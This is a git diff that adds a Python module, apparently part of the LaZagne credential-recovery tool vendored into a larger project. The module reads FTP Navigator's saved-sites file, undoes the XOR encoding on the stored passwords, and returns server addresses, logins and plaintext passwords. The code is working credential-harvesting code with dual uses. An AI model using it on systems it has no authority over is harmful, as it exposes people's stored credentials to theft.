summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py
diff options
context:
space:
mode:
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py')
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py44
1 files changed, 44 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py b/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py
new file mode 100644
index 0000000..3fdac5a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/ftpnavigator.py
@@ -0,0 +1,44 @@
+# -*- coding: utf-8 -*-
+import struct
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class FtpNavigator(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'ftpnavigator', 'sysadmin', system_module=True)
+
+ def decode(self, encode_password):
+ password = ''
+ for p in encode_password:
+ password += chr(struct.unpack('B', p)[0] ^ 0x19)
+ return password
+
+ def run(self):
+ path = os.path.join(constant.profile['HOMEDRIVE'], u'\\FTP Navigator', u'Ftplist.txt')
+ elements = {'Name': 'Name', 'Server': 'Host', 'Port': 'Port', 'User': 'Login', 'Password': 'Password'}
+ if os.path.exists(path):
+ pwd_found = []
+ with open(path, 'r') as f:
+ for ff in f:
+ values = {}
+ info = ff.split(';')
+ for i in info:
+ i = i.split('=')
+ for e in elements:
+ if i[0] == e:
+ if i[0] == "Password" and i[1] != '1' and i[1] != '0':
+ values['Password'] = self.decode(i[1])
+ else:
+ values[elements[i[0]]] = i[1]
+
+ # used to save the password if it is an anonymous authentication
+ if values['Login'] == 'anonymous' and 'Password' not in values:
+ values['Password'] = 'anonymous'
+
+ pwd_found.append(values)
+
+ return pwd_found